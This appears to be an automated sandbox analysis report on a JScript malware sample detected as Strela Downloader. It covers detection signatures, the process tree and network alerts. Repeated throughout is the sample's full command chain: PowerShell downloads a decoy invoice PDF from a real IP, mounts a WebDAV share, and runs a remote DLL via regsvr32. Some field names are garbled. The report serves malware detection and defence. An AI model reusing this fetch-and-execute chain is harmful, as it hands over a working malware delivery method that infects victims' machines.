Edit tour

Windows Analysis Report
30562134305434372.js

Overview

General Information

Sample name:	30562134305434372.js
Analysis ID:	1587647
MD5:	4bd208de859515cc7bd5454270b3f625
SHA1:	0b631f2bb96377664bae9d38045abb90d50282dd
SHA256:	6f0b279c90933acf92d07a9a6c27c7cbe9d0711a2761fc01287b3e84e1729b0c
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Desusertion Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7636 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\30562134305434372.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7744 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8621210645460.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7752 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7804 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7992 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7360 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 2080 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1720,i,18097075523433456659,17666624130765866465,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 8012 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 8048 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 1280 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7636	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8621210645460.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7744, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7804, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8621210645460.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7744, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7804, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\30562134305434372.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\30562134305434372.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\30562134305434372.js", ProcessId: 7636, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Desusertion Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DesusertionIp: 193.143.1.205, DesusertionIsIpv6: false, DesusertionPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 8048, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49799

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8621210645460.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8621210645460.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\30562134305434372.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7636, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8621210645460.dll, ProcessId: 7744, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8621210645460.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8621210645460.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\30562134305434372.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7636, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8621210645460.dll, ProcessId: 7744, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8621210645460.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8621210645460.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\30562134305434372.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7636, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8621210645460.dll, ProcessId: 7744, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8621210645460.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8621210645460.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\30562134305434372.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7636, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8621210645460.dll, ProcessId: 7744, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8621210645460.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8621210645460.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\30562134305434372.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7636, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8621210645460.dll, ProcessId: 7744, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\30562134305434372.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\30562134305434372.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\30562134305434372.js", ProcessId: 7636, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8621210645460.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7744, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7804, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8012, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8048, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1280, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8012, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8048, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8621210645460.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8621210645460.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\30562134305434372.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7636, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8621210645460.dll, ProcessId: 7744, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T16:18:11.171823+0100	1810005	1	Potentially Bad Traffic	192.168.2.9	49799	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T16:18:08.931777+0100	1810000	2	Potentially Bad Traffic	192.168.2.9	49787	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 30562134305434372.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 30562134305434372.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.9:49799 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 15:18:08 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49799

Source: global traffic

TCP traffic: 192.168.2.9:49799 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.9:49787 -> 193.143.1.205:80

Source: global traffic

